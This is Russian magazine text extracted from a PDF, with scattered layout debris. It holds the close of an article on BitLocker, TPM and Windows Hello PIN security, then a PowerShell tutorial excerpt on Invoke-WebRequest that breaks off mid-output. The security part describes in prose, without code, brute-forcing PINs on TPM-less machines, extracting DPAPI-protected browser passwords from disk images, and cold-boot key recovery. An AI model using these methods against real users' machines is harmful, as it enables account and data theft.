Ни сам механизм BitLocker, ни политики шифрования в Windows 11 не претер пели серьезных изменений в сравнении с Windows 10. После анонса Windows 11 у многих обозревате лей возникло впечат ление, что Microsoft будет шиф ровать системный раздел Windows 11 так же, как это делают произво дители смартфо нов. Ожидания не оправдались . По умолчанию (через BitLocker Device Encryption) шифруют ся лишь оборудо ванные TPM портатив ные устрой ства — ноутбуки , планшеты и устройства «два в одном»; однако точно таким же образом шифрование включалось и в Windows 8, и в Windows 10. При уста новке Windows 11 на настоль ный компьютер шифрование по умолчанию
не включает ся; более того, чтобы использовать BitLocker, требует ся редакция
Windows 11 Pro, Enterprise или Education. Для пользовате лей младшей редак
ции Home шифрование остается недоступным .
PIN-КОД ВМЕСТО ПАРОЛЯ: ЭТО ДЕЙСТВИТЕЛЬНО БЕЗОПАСНЕЙ?
Наконец мы добрались до PIN-кодов — того «нового» способа авториза ции , который Microsoft предлага ет использовать вместо «устарев шего и небезо пасного » пароля. Почему — внезап но ! — авториза ция по паролю стала «уста ревшей и небезопас ной »? Приведу информацию из статьи Microsoft,
вкоторой и описаны основные различия между подходами .
Азнаешь ли ты, что в Windows 10 также исполь
зуется (точнее , может использовать ся… а может и не использовать ся) модуль безопасности TPM 2.0? Разница между Windows 10 и Windows 11 не в масшта бах использования TPM (здесь я не увидел принципи альных отличий ), а в том, что в Windows 11 TPM обязате лен, а в Windows 10 —
нет. Эта, казалось бы, небольшая разница при водит к глобаль ным последс твиям в области безопасности при использовании входа по PINкоду вместо пароля. Подробно об этом Microsoft расска зывает в следующей статье (на англий ском).
В этой статье Microsoft высказыва ет несколь ко не вполне коррек тных утвер ждений , «очевид ная » интерпре тация которых создает ложное ощущение безопасности . Разберем подробнос ти . Ниже приводит ся цитата из статьи (Microsoft использует автомати чес кий перевод; я сохранил орфографию ори гинала ):
ПИН код привязан |
к устройству |
|
|
|
|
||||
«Одно важное отличие между онлайн паролем и ПИН кодом Hello сос- |
|||||||||
тоит в том, что |
ПИН код привязан |
к определен |
ному |
устройству , |
|||||
на котором он был настро ен . ПИН код не может использовать |
ся |
||||||||
без конкрет ного |
оборудо вания |
. Кто то, |
кто крадет |
ваш пароль |
|||||
в Интернете , может войти в вашу учетную |
запись из любого места , |
||||||||
но если он украдет |
ПИН код, им также придет ся украсть ваше |
||||||||
физическое устройство ! |
|
|
|
|
|
|
|
ПИН код поддержи вает ся оборудо вани ем
ПИН код Hello поддержи вает ся микросхе мой доверенного плат- форменного модуля (TPM), представ ляющей собой надежный крип- тографичес кий процес сор для выполнения операций шифрования . Эта микросхе ма содержит несколь ко механизмов физической защиты для предот вра щения взлома , и вредонос ные программы не могут обойти функции безопасности TPM. Многие современ ные устройства имеют TPM. Windows 10, с другой стороны , имеет дефект, не связыва -
ющий локальные пароли с TPM. Именно по этой причине ПИН коды » считают ся более безопасными , чем локальные пароли.
Если воспри нимать информацию букваль но , создает ся ощущение , будто PINкод — это своеоб разная панацея, всегда хранит ся в модуле TPM и не может быть взломан . Это не так. Дело в том, что Windows 10 работает как на компь ютерах с модулем TPM, так и без него, причем пользовате лю об этом сис тема не сообщает . Более того, даже на компьюте рах , в прошив ке которых присутс тву ет эмуляция TPM, эта эмуляция чаще всего по умолчанию отклю чена — пользовате лю предлага ется самостоятель но зайти в UEFI BIOS, отыс кать меню Miscellaneous и включить настрой ку , которая может называться ,
к примеру , Intel Platform Trust Technology (PTT). Сколько пользовате лей вклю
чит эту настрой ку, а какое количество оставит ее неизменной или просто не узнает о ее существо вании?
Intel Platform Trust Technology (PTT)
Если TPM в системе отсутству ет или не включен в UEFI BIOS, Windows 11 просто откажет ся от установ ки . А вот Windows 10 все равно предложит использовать для входа PIN-код, а Microsoft все так же будет убеждать , что этот способ входа более безопасен по сравнению с паролем. Это не так. Пароль от учетной записи в виде хеша все так же хранит ся на диске , а сам PIN-код с компьюте ра без TPM можно взломать простым перебором (циф ровые PIN-коды, даже шестизнач ные , получится перебрать за считаные секунды ).
БЕЗ МОДУЛЯ TPM ВХОД В WINDOWS ПО PIN-КОДУ НЕБЕЗОПАСЕН
Совсем иначе дела обстоят в случае , если в системе присутс тву ет и акти вирован модуль TPM 2.0 в физическом виде либо в виде процес сорной эму ляции. Рассмот рим поведение системы в следующих сценари ях , которые мы протес тирова ли в нашей лаборатории .
Сценарий 1: система с Windows 10 (вход по PIN-коду) без TPM перено сится на другой компьютер без TPM. Переносит ся физический диск с уста новленной ОС. Результат : вход по PIN-коду срабаты вает на новом компьюте ре так же, как и на старом .
Сценарий 2: система с Windows 10 (вход по PIN-коду) без TPM перено сится на другой компьютер без TPM. Переносит ся только копия раздела
с установ ленной ОС; аппарат ное обеспечение между двумя компьюте рами не совпада ет ни по одной позиции. Результат : вход по PIN-коду срабаты вает на новом компьюте ре так же, как и на старом .
Сценарий 3: система с Windows 10 (вход по PIN-коду) без TPM перено сится на компьютер с установ ленным и активным модулем TPM. Переносит ся только копия раздела с установ ленной ОС; аппарат ное обеспечение между двумя компьюте рами не совпада ет ни по одной позиции. Результат : вход по PIN-коду срабаты вает на новом компьюте ре так же, как и на старом .
Сценарий 4: система с Windows 10 (вход по PIN-коду) с активным модулем TPM переносит ся на другой компьютер с активным модулем TPM. Переносит ся копия раздела с установ ленной ОС; аппарат ное обеспечение
между двумя компьюте рами не совпада ет . Результат : вход по PIN-коду на новом компьюте ре не срабаты вает ; для входа требует ся пароль от учетной записи; для использования PIN-кода потребова лось удалить старый PIN и настро ить новый.
Очевид но, что только четвертый сценарий соответс твует модели безопас ности, описан ной Microsoft в статье.
МОЖНО ЛИ ИСПОЛЬЗОВАТЬ ВХОД БЕЗ ПАРОЛЯ В WINDOWS 10?
Можно . Но нужно ли?
В сентябре 2021 года компания анонсирова ла свое видение будущего без паролей. Пользовате лям очеред ной сборки Windows 10 предлагалось изменить настрой ки учетной записи Microsoft Account, запретив вход в нее по паролю. Такая учетная запись для входа в систему позволяла избавить ся от хранения хеша пароля на локальном компьюте ре. В то же время поль зователь терял возможность войти в учетную запись Microsoft из браузе ра по логину и паролю; для успешного входа требовал ся доступ к доверенному телефонному номеру или ранее авторизо ванному устройству с установ ленным на нем приложе нием Microsoft Authenticator. С учетом того, что дан ное приложе ние доступно исключитель но для смартфо нов на iOS и Android (но не для компьюте ров под управлением Windows), целесообразность нововведения представ ляется несколь ко сомнитель ной. Подробнее об этом можно прочитать здесь. Новшес тво не получило заметного распростра нения из за неочевид ных преиму ществ и существен ного неудобства исполь зования.
Учетная запись без пароля
КАК WINDOWS ИСПОЛЬЗУЕТ TPM ПРИ АВТОРИЗАЦИИ ВХОДА В СИСТЕМУ ЧЕРЕЗ PIN
В докумен тации Microsoft описаны способы , которыми Windows может использовать аппарат ный модуль безопасности . Реальность значитель но скромнее : «может» не означает «использует ». Так, пароли, которые поль зователь хранит в браузе ре Microsoft Edge, защищены механизмом DPAPI, но ключ шифрования хранит ся на системном диске (он зашифрован данными учетной записи) и не защищается TPM, что позволя ет извлечь эти пароли из образа диска , если известен пароль от учетной записи пользовате ля.
Вместо того чтобы использовать TPM для хранения все большего количества данных , в Microsoft попытались обойти проблему , предос тавив способ входа в учетную запись по PIN-коду и без пароля. Именно этот спо соб — и только на системах с TPM! — позволя ет говорить о безопасности учетной записи: теперь защищенные DPAPI данные невозможно расшифро вать, не войдя в систему , а войти в систему можно исключитель но по PIN-коду (или через Windows Hello), который будет проверять ся аппарат ным модулем TPM. Любое изменение в конфигура ции системы (как изменение аппарат ной части , так и загрузка с внешнего накопителя ) приведет к тому, что модуль TPM не отдаст нужный ключ и защищенные данные расшифро вать не удастся .
В итоге в оборудо ванных TPM системах с Windows 10 и Windows 11 невоз можно взломать PIN-код, а в Windows 11 с новым типом учетных записей с авториза цией без пароля его невозможно подобрать или использовать пароль от Microsoft Account, извлечен ный из другого компьюте ра или учетной записи.
ВЫВОДЫ
Перечи тав статью, я понял, что количество информации и многочис ленные отсылки, «но», «если» и «да, но…» способ ны вскипятить содержимое череп ной коробки не хуже, чем это делает документация Microsoft. Поэтому вместо заключения я хочу перечислить основные тезисы статьи в формате вопросов и ответов .
Шифрование системно го диска BitLocker безопасно ?
Да, если в системе есть (и активиро ван ) модуль TPM, Intel PTT или AMD fTPM. Для полной уверен ности можно включить режим шифрования с 256битным ключом (по умолчанию использует ся 128-битный ). Более того, политики безопасности BitLocker можно гибко настра ивать (например , тре буя ввести отдельный PIN-код перед загрузкой ); об этих настрой ках я также планирую написать в одной из следующих статей .
Но ведь… уязвимос ти?
Большинс тво уязвимос тей TPM носит скорее теоретичес кий характер . Более того, они не распростра няют ся на програм мную эмуляцию в виде Intel PTT или AMD fTPM, в которых уязвимос тей не обнаруже но .
Реаль ная уязвимость BitLocker (как, впрочем , и многих других систем шифрования дисков в Windows) заключа ется в хранении ключа шифрования
в оператив ной памяти компьюте ра . При использовании TPM системный раз дел разбло киру ется в процес се загрузки еще до авториза ции пользовате ля (то есть до запроса пароля или PIN-кода). Существу ет атака , в ходе которой модули оператив ной памяти физически заморажива ются , извлекают ся , а их содержимое считыва ется и анализи рует ся . Эта атака действи тель но позволя ет обнаружить ключ шифрования и разбло киро вать диск. В то же время такая атака требует оборудо ван ной лаборатории и работы квалифи циро ван ного специалис та ; она и подобные ей атаки используют ся исключитель но спец службами при рассле дова нии особо важных дел.
За что ты так не любишь Windows 10?
А почему она продол жает работать, если в системе нет TPM? И ладно бы продол жала работать, так ведь предлага ет настро ить вход по PIN-коду вмес то пароля! Для справки : скорость перебора паролей NTLM такова, что циф ровой PIN-код, даже состоящий из шести цифр, перебирает ся за несколь ко секунд. Да, эта проблема решается включени ем TPM (тогда PIN-код подоб рать невозможно ), но возника ет другая : в учетную запись Microsoft можно войти , если известен пароль от нее.
Но ведь можно не использовать учетную запись Microsoft?
Можно . Но не во всех редакциях Windows. И ты проигры ваешь в удобстве (нарушается пресловутый баланс удобства и безопасности ).
Так ведь и BitLocker доступен не во всех редакциях Windows!
С точки зрения Microsoft, пользовате лям «домашней » редакции по опре делению «скрывать нечего». Если ты с этим не согласен — тебе поможет VeraCrypt, о котором мы поговорим в одной из следующих статей .
Если я обновлюсь на Windows 11 и зашифрую диск, все станет
безопасно ?
Почти . Не забудь еще выключить вход в учетную запись по паролю; тогда и только тогда PIN-код будет защищен TPM. И кстати , прокон тролируй, куда конкрет но сохраня ется ключ восста новления доступа BitLocker. Если в твою учетную запись Microsoft, то извлечь его оттуда — дело несложное .
А если не обновлюсь?
В принципе , сравнимого с практичес кой точки зрения уровня безопас ности можно достичь , используя локальную учетную запись Windows со стой ким уникаль ным паролем. В теории Windows 11 будет безопаснее за счет возможнос ти полностью отказать ся от способов авториза ции, не защищен ных аппарат ным способом (TPM).
Можно ли взломать PIN?
Да, можно — если в системе нет (или не активиро ван) TPM. Если же TPM активен , то аппарат ный модуль будет ограничи вать скорость перебора ,
ачерез какое то время заблокиру ет дальнейшие попытки .
Аесли у меня нет TPM?
Если |
твой |
компьютер |
оснащен |
процес сором |
Intel 8-го |
поколения |
||||||
или более новым либо AMD Zen или более новым, то, вероятнее |
всего , фун |
|||||||||||
кциональ |
ность |
TPM у тебя есть в виде эмулято |
ра (Intel PTT, AMD fTPM), просто |
|||||||||
не включена |
в UEFI BIOS. Найди и включи . |
|
|
|
|
|
||||||
Если же у тебя более старый |
компьютер |
, то есть варианты |
. О них я пла |
|||||||||
нирую написать в следующей |
статье. |
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
C |
|
|
E |
|
|
|
|||
|
X |
|
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
|
|
|
F |
|
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
|||
P |
|
|
|
|
|
NOW! |
o |
|
|
||
|
|
|
|
|
|
|
|
||||
|
wClick |
|
BUY |
o m |
ТРЮКИ |
||||||
|
to |
|
|
|
|||||||
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
c |
|
|
|
.c |
|
|
||
|
. |
|
|
|
|
|
|
|
|||
|
p |
|
|
|
|
|
g |
|
|
|
|
|
|
df |
-x |
|
n |
e |
|
|
|||
|
|
|
ha |
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
c |
|
|
|
o |
|
|
. |
|
|
|
|
.c |
|
|||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x ha |
|
|
|
|
Андрей Попов andpop@mail.ru
ПИШЕМ HTTP-ЗАПРОСЫ И ПАРСИМ СТРАНИЦЫ НА POWERSHELL
В интернете есть множес тво сервисов , с которыми можно работать, обращаясь к их ресурсам по протоко лу HTTP. Веб разработ чики постоян но работают с такими HTTP-зап росами для доступа к функци ям внешних API или для тес тирования собствен ных приложе ний . PowerShell для обра щения к вебу по HTTP предлага ет два стандар тных коман
длета : Invoke-WebRequest и Invoke-RestMethod.
КОМАНДЛЕТ INVOKE-WEBREQUEST
С помощью командле та Invoke-WebRequest можно направить веб серверу HTTP-запрос и получить от него ответ.
Анализ HTML-страниц
Этот командлет хорошо подходит для анализа HTML-страниц . Еще он умеет сохранять страницы на локальном диске . В этом он похож на консоль ную ути литу wget и даже имеет такой псевдоним :
PS C:\Script> Get-Alias |
wget |
|
|
|
|
CommandType |
Name |
|
----------- |
---- |
|
Alias |
wget -> |
Invoke-WebRequest |
Обратим ся с помощью Invoke-WebRequest к какой нибудь простой стра
нице, например Example Domain.0
По умолчанию Invoke-WebRequest выполняет HTTP-запрос с методом GET к ресурсу на веб сервере , адрес ресурса указыва ется в качестве значения параметра -Uri. В результате возвра щается объект типа HtmlWebResponseObject, в котором хранит ся информация об ответе сер вера:
PS C:\Script> $web = Invoke-WebRequest -Uri https://example.com/
index.html
PS C:\Script> $web | Get-Member
TypeName: Microsoft.PowerShell.Commands.HtmlWebResponseObject
. . .
PS C:\Script> $web
StatusCode |
: 200 |
StatusDescription |
: OK |
Content |
: <!doctype html> |
<html>
<head>
|
<title>Example Domain</title> |
|||||
|
|
|
|
|
||
|
<meta charset="utf-8" /> |
|
|
|
||
|
<meta http-equiv="Content-type" content= |
|
||||
"text/html; char |
|
|
|
|
|
|
|
set=utf-8" /> |
|
|
|
|
|
|
<meta name="viewport" conten... |
|
||||
RawContent |
: HTTP/1.1 200 OK |
|
|
|
|
|
|
Age: 497890 |
|
|
|
|
|
|
Vary: Accept-Encoding |
|
|
|
|
|
|
X-Cache: HIT |
|
|
|
|
|
|
Content-Length: 1256 |
|
|
|
|
|
|
Cache-Control: max-age=604800 |
|
|
|
||
|
Content-Type: text/html; charset=UTF-8 |
|
||||
|
Date: Mon, 12 Jul 2021 16:05:14 GMT |
|
||||
|
Exp... |
|
|
|
|
|
Forms |
: {} |
|
|
|
|
|
Headers |
: {[Age, 497890], [Vary, Accept-Encoding], [X-Cache |
|
||||
, HIT], [Co |
|
|
|
|
|
|
|
ntent-Length, 1256]...} |
|
|
|
||
Images |
: {} |
|
|
|
|
|
InputFields |
: {} |
|
|
|
|
|
Links |
: {@{innerHTML=More information...; innerText=More |
|
||||
information |
|
|
|
|
|
|
|
...; outerHTML=<A href="https://www.iana.org/ |
|
||||
domains/example |
|
|
|
|
|
|
|
">More information...</A>; outerText=More |
|
||||
information...; ta |
|
|
|
|
|
|
|
gName=A; href=https://www.iana.org/domains/ |
|
||||
example}} |
|
|
|
|
|
|
ParsedHtml |
: mshtml.HTMLDocumentClass |
|
|
|
||
RawContentLength |
: 1256 |
|
|
|
|
|
В поле StatusCode содержится |
код ответа от сервера |
(200 для нашего при |
||||
мера), в поле StatusDescription — тексто вое |
описание |
этого ответа (OK). |
Современ ный PowerShell. Андрей Попов
Эта статья — глава из книги Андрея Попова «Современ ный PowerShell», вышедшей в издатель стве «БХВ» в марте этого года. В книге подробно опи
сан язык PowerShell и работа с оболоч кой Windows PowerShell в Windows Terminal, взаимо дей ствие с файловой системой , структуриро ван ными дан ными и веб ресурсами . Автор разбира ет управление процес сами , службами
и серверами автомати зации, расска зывает, как создать GUI для сценари ев Windows PowerShell, уделяет внимание кросс платформен ным возможнос тям
PowerShell в macOS и Linux.
Если ты админис трируешь рабочие станции , серверы или локальные сети под управлением Windows, книга «Современ ный PowerShell» поможет тебе освоить секреты и хитрости этой технологии и автомати зировать множес тво рутинных задач.
Содержимое ответа от сервера и HTTP-заголовки
Содер жимое ответа от сервера хранит ся в виде строки в поле Content. В нашем случае здесь будет записан HTML-код:
PS C:\Script> $web.Content
<!doctype html>
<html>
<head>
<title>Example Domain</title>
<meta charset="utf-8" />
<meta http-equiv="Content-type" content="text/html;
charset=utf-8" />
<meta name="viewport" content="width=device-width,
initial-scale=1" />
<style type="text/css">
body {
background-color: #f0f0f2;
margin: 0;
padding: 0;
font-family: -apple-system, system-ui, BlinkMacSystemFont,
"Segoe UI", "Open Sans", "Helvetica Neue", Helvetica, Arial,
sans-serif;
}
div {
width: 600px;
margin: 5em auto;
padding: 2em;
background-color: #fdfdff;
border-radius: 0.5em;
box-shadow: 2px 3px 7px 2px rgba(0,0,0,0.02);
}
a:link, a:visited {
color: #38488f;
text-decoration: none;
}
@media (max-width: 700px) {
div {
margin: 0 auto;
width: auto;
}
}
</style>
</head>
<body>
<div>
<h1>Example Domain</h1>
<p>This domain is for use in illustrative examples in documents.
You may use this
domain in literature without prior coordination or asking for
permission.</p>
<p><a href="https://www.iana.org/domains/example">More
information...</a></p>
</div>
</body>
</html>
В поле RawContent записывает ся полный ответ от сервера с HTTP-заголов ками в начале:
PS C:\Script> $web.RawContent
HTTP/1.1 200 OK
Age: 497890
Vary: Accept-Encoding
X-Cache: HIT
Content-Length: 1256
Cache-Control: max-age=604800
Content-Type: text/html; charset=UTF-8
Date: Mon, 12 Jul 2021 16:05:14 GMT
Expires: Mon, 19 Jul 2021 16:05:14 GMT
ETag: "3147526947+ident"
Last-Modified: Thu, 17 Oct 2019 07:18:26 GMT
Server: ECS (dcb/7F83)
<!doctype html>
<html>
<head>
<title>Example Domain</title>
. . .
Заголов ки ответа тоже хранят ся отдельно — в виде хеш таблицы в свойстве headers:
PS C:\Script> $web.headers
|
Key |
Value |
|
|
|
|
|
|
|
--- |
----- |
|
|
|
|
|
|
|
Age |
497890 |
|
|
|
|
|
|
|
Vary |
Accept-Encoding |
|
|
|
|
||
|
X-Cache |
HIT |
|
|
|
|
|
|
|
Content-Length |
1256 |
|
|
|
|
|
|
|
Cache-Control |
max-age=604800 |
|
|
|
|
||
|
Content-Type |
text/html; charset=UTF-8 |
|
|
||||
|
Date |
Mon, 12 Jul 2021 16:05:14 GMT |
|
|
||||
|
Expires |
Mon, 19 Jul 2021 16:05:14 GMT |
|
|
||||
|
ETag |
"3147526947+ident" |
|
|
|
|||
|
Last-Modified |
Thu, 17 Oct 2019 07:18:26 GMT |
|
|
||||
|
Server |
ECS (dcb/7F83) |
|
|
|
|
||
Сохранение веб-ресурсов |
|
|
|
|
|
|||
Для сохранения |
ответа от сервера |
в виде локального |
файла надо при вызове |
|||||
Invoke-WebRequest использовать |
ключ -OutFile и указать |
путь к нужному |
||||||
файлу . Например |
, сохраним |
страницу |
https://example.com/index.html |
|||||
в файле page.html в текущем каталоге : |
|
|
|
PS C:\Script> Invoke-WebRequest -Uri https://example.com/index.html
-OutFile page.html
Проверим содержимое файла page.html и убедим ся, что в нем записана HTML-разметка сохранен ной страницы :
PS C:\Script> type .\page.html
<!doctype html>
<html>
<head>
<title>Example Domain</title>
<meta charset="utf-8" />
<meta http-equiv="Content-type" content="text/html;
charset=utf-8" />
<meta name="viewport" content="width=device-width,
initial-scale=1" />
<style type="text/css">
body {
background-color: #f0f0f2;
margin: 0;
padding: 0;
font-family: -apple-system, system-ui, BlinkMacSystemFont,
"Segoe UI", "Open Sans", "Helvetica Neue", Helvetica, Arial,
sans-serif;
}
div {
width: 600px;
margin: 5em auto;
padding: 2em;
background-color: #fdfdff;
border-radius: 0.5em;
box-shadow: 2px 3px 7px 2px rgba(0,0,0,0.02);
}
a:link, a:visited {
color: #38488f;
text-decoration: none;
}
@media (max-width: 700px) {
div {
margin: 0 auto;
width: auto;
}
}
</style>
</head>
<body>
<div>
<h1>Example Domain</h1>
<p>This domain is for use in illustrative examples in documents.
You may use this
domain in literature without prior coordination or asking for
permission.</p>
<p><a href="https://www.iana.org/domains/example">More
information...</a></p>
</div>
</body>
</html>
Подоб ным образом можно сохранять не только HTML-файлы , но и ресурсы других типов (тексто вые , графичес кие или мультимедий ные файлы и т. д.), к которым можно обратить ся на сайте .
Поиск HTML-элементов на странице
В свойствах Forms (формы ), Images (изображения ), InputFields (поля вво да) и Links (ссылки ) объекта HtmlWebResponseObject сохраня ются массивы объектов , которые описыва ют соответс твующие элемен ты HTML-разметки , полученной от сервера . Обрабаты вая эти коллекции , можно получить информацию об интересу ющих нас элемен тах на загружен ной странице .
Например , сохраним в переменной $web страницу результатов поиска слова PowerShell в Yandex:
PS C:\Script> $web = Invoke-WebRequest -Uri https://yandex.ru/search/
?text=PowerShell
Выделим на этой странице все ссылки на сайт habr.com. Для этого нужно отфильтро вать массив $web.Links, оставив в нем объекты , у которых зна чение свойства href соответс тву ет маске *habr.com*:
PS C:\Script> $habr_links = $web.Links | Where-Object href -like
'*habr.com*'
В $habr_links находятся два объекта PSCustomObject, содержащие раз личные HTML-атрибуты для ссылок :
PS C:\Script> $habr_links.count
2
PS C:\Script> $habr_links | Get-Member
TypeName: System.Management.Automation.PSCustomObject
Name |
MemberType |
Definition |
---- |
---------- |
---------- |
Equals |
Method |
bool Equals(System.Object obj) |
GetHashCode |
Method |
int GetHashCode() |
GetType |
Method |
type GetType() |
ToString |
Method |
string ToString() |
class |
NoteProperty |
string class=Link Link_theme_normal |
OrganicTitl... |
|
|
data-counter |
NoteProperty |
string data-counter=["b"] |
data-log-node |
NoteProperty |
string data-log-node=bf7fw01-00 |
href |
NoteProperty |
string href=https://habr.com/ru/company/ |
ruvds/b... |
|
|
innerHTML |
NoteProperty |
string innerHTML=<div class="Favicon |
Favicon_si... |
|
|
innerText |
NoteProperty |
string innerText=... |
outerHTML |
NoteProperty |
string outerHTML=<a tabindex="0" class=" |
Link Li... |
|
|
outerText |
NoteProperty |
string outerText=... |
tabindex |
NoteProperty |
string tabindex=0 |
tagName |
NoteProperty |
string tagName=A |
target |
NoteProperty |
string target=_blank |
Например , выведем значение атрибутов href и innerText для этих ссылок :
PS C:\Script> $habr_links | ForEach-Object {$_.href + " - " + $_.
innerText }
https://habr.com/ru/company/ruvds/blog/487876/ -
Что такое Windows PowerShell и с чем его едят? / Хабр
https://habr.com/ru/company/ruvds/blog/487876/ - habr.com›ru/company/
ruvds/blog/487876/
В свойстве ParsedHtml объекта HtmlWebResponseObject содержится объект типа mshtml.HTMLDocumentClass, который предос тавляет доступ к DOMдереву загружен ной HTML-страницы .
PS C:\Users\andrv> $html = $web.ParsedHtml
PS C:\Users\andrv> Get-Member -InputObject $html
TypeName: mshtml.HTMLDocumentClass
. . .
Продолжение статьи0 →
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
C |
|
|
E |
|
|
|
|||
|
X |
|
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
|
|
t |
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|
|||
|
|
|
|
|
|
|
|||||
|
wClick |
|
BUY |
o m |
ТРЮКИ |
||||||
|
to |
|
|
|
|
||||||
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
.c |
|
||
|
. |
|
|
|
|
|
g |
|
|||
|
p |
|
|
c |
|
|
|
|
|
||
|
|
df |
-x |
|
n |
|
|
|
|
||
|
|
|
ha |
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|||
|
|
|
X |
|
|
|
|
|
|
|||
|
|
- |
|
|
|
|
|
d |
|
|||
|
|
F |
|
|
|
|
|
|
|
t |
|
|
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
r |
||
|
P |
|
|
|
|
|
NOW! |
o |
||||
|
|
|
|
|
|
|
|
|||||
← |
|
|
|
|
|
|
|
|
||||
w |
|
|
|
|
|
|
|
|
|
m |
||
|
0НАЧАЛО СТАТЬИw Click |
to |
BUY |
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
|
|
|
||
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
|
. |
|
|
|
|
g |
.c |
|
|||
|
|
|
p |
|
|
c |
|
|
|
|
||
|
|
|
|
df |
|
n |
e |
|
||||
|
|
|
|
|
-x ha |
|
|
|
|
|
ПИШЕМ HTTP-ЗАПРОСЫ И ПАРСИМ СТРАНИЦЫ НА POWERSHELL
Если в HTML-коде имеются сценарии JavaScript, то по умолчанию при постро ении DOM-дерева они будут выполнены . При необходимос ти выпол нение сценари ев можно отключить , указав параметр -UseBasicParsing.
В частнос ти , используя методы getElementById(), getElementsByName()
и getElementsByTagName(), можно получать объекты , соответс тву ющие HTML-элемен там с заданным идентифика тором , именем или тегом соответс твенно .
Например , посмотрим , какой текст записан в первом заголовке второго уровня (HTML-тег <h2>):
PS C:\Users\andrv> $html.getElementsByTagName('h2')[0].innerText
Документация по PowerShell - PowerShell | Microsoft Docs
Найдем |
элемент |
с идентифика |
тором |
search-result: |
|
|
|||
|
PS C:\Users\andrv> $html.getElementById('search-result') |
|
|||||||
|
|
|
|
|
|||||
|
|
|
|
|
|||||
|
className |
|
: serp-list serp-list_left_yes |
|
|||||
|
id |
|
|
|
: search-result |
|
|
||
|
tagName |
|
|
: UL |
|
|
|
||
|
parentElement |
|
: System.__ComObject |
|
|
||||
|
style |
|
|
|
: System.__ComObject |
|
|
||
|
. . . |
|
|
|
|
|
|
|
|
Метод |
querySelector() позволя |
ет найти HTML-элемент |
по определен |
ному |
CSS-селектору . Например , обратим ся к элемен ту с классом main__content:
PS C:\Users\andrv> $html.querySelector('.main__content')
className |
: main__content |
id |
: |
tagName |
: DIV |
parentElement |
: System.__ComObject |
style |
: System.__ComObject |
. . . |
|
Подробнее о свойствах , методах и событиях объекта mshtml. HTMLDocumentClass можно прочитать в докумен тации на сайте Microsoft.
Выполнение POST-запросов |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||||
Коман длет |
Invoke-WebRequest позволя |
ет не только выполнять |
GET-запросы |
, |
|||||||||||||||||||||||
но и вызывать другие |
методы, определен |
ные |
в протоко |
ле HTTP (DELETE, |
|||||||||||||||||||||||
HEAD, MERGE, PATCH, POST, PUT, TRACE). Для этого нужный |
метод указыва |
ется |
|||||||||||||||||||||||||
в качестве значения |
параметра -Method. |
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||||||
Рассмот |
рим |
пример |
выполнения |
запроса |
с HTTP-методом POST, который |
||||||||||||||||||||||
часто использует ся для передачи данных |
из веб форм или загрузки |
файлов |
|||||||||||||||||||||||||
на сервер . Обращать |
ся мы будем к ресурсу http://httpbin.org/post, |
||||||||||||||||||||||||||
в результате |
сервер должен |
сообщить |
нам о полученных данных . |
|
|
|
|||||||||||||||||||||
Переда |
вать |
мы будем два параметра с именами |
name и lastName, которые |
||||||||||||||||||||||||
поместим в хеш таблицу |
$params: |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||
PS C:\Users\andrv> $params = @{name='Andrey'; lastName='Popov'} |
|
|
|||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||
Выпол ним Invoke-WebRequest с методом POST, поместив |
передаваемые |
||||||||||||||||||||||||||
параметры в тело запроса |
(параметр -Body): |
|
|
|
|
|
|
|
|
|
|
||||||||||||||||
PS C:\Users\andrv> Invoke-WebRequest -Uri http://httpbin.org/post |
|
|
|||||||||||||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||||
-Method POST -Body $params |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||
StatusCode |
|
|
|
|
|
: 200 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||
StatusDescription |
: OK |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||
Content |
|
|
|
|
|
|
: { |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
"args": {}, |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
"data": "", |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
"files": {}, |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
